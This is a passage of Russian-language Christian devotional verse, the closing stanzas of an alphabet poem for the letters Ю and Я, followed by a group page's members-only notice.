30. Буква.Ю. Юный друг! Дороже нету,
Как по чести с детства жить.
Обойдём с тобой планету,
Будем Господу служить!
Совершенным быть непросто.
Истина - Благая Весть.
Церковь - благодати остров -
У моей Отчизны есть.
Прежде сотворенья мира
Бог нас предопределил.
Не твори себе кумира.
Дорог Богу ты и мил.
31. Буква.Я.Язык нам дан сердца будить,
Хранить родную речь.
Мир Божьим Словом исцелить
И отчий дом беречь.
Не нужен будет никому
Не любящий Христа.
Покуда жив, служи Ему.
В любви душа чиста.
Пути людей сольёт Христос
Перед Своим Судом,
Ступай за Богом во весь рост,
За светом и теплом.
АМИНЬ.
Метки: 1.
В этой группе, возможно, есть записи, доступные только её участникам.
Чтобы их читать, Вам нужно вступить в группу
Чтобы их читать, Вам нужно вступить в группу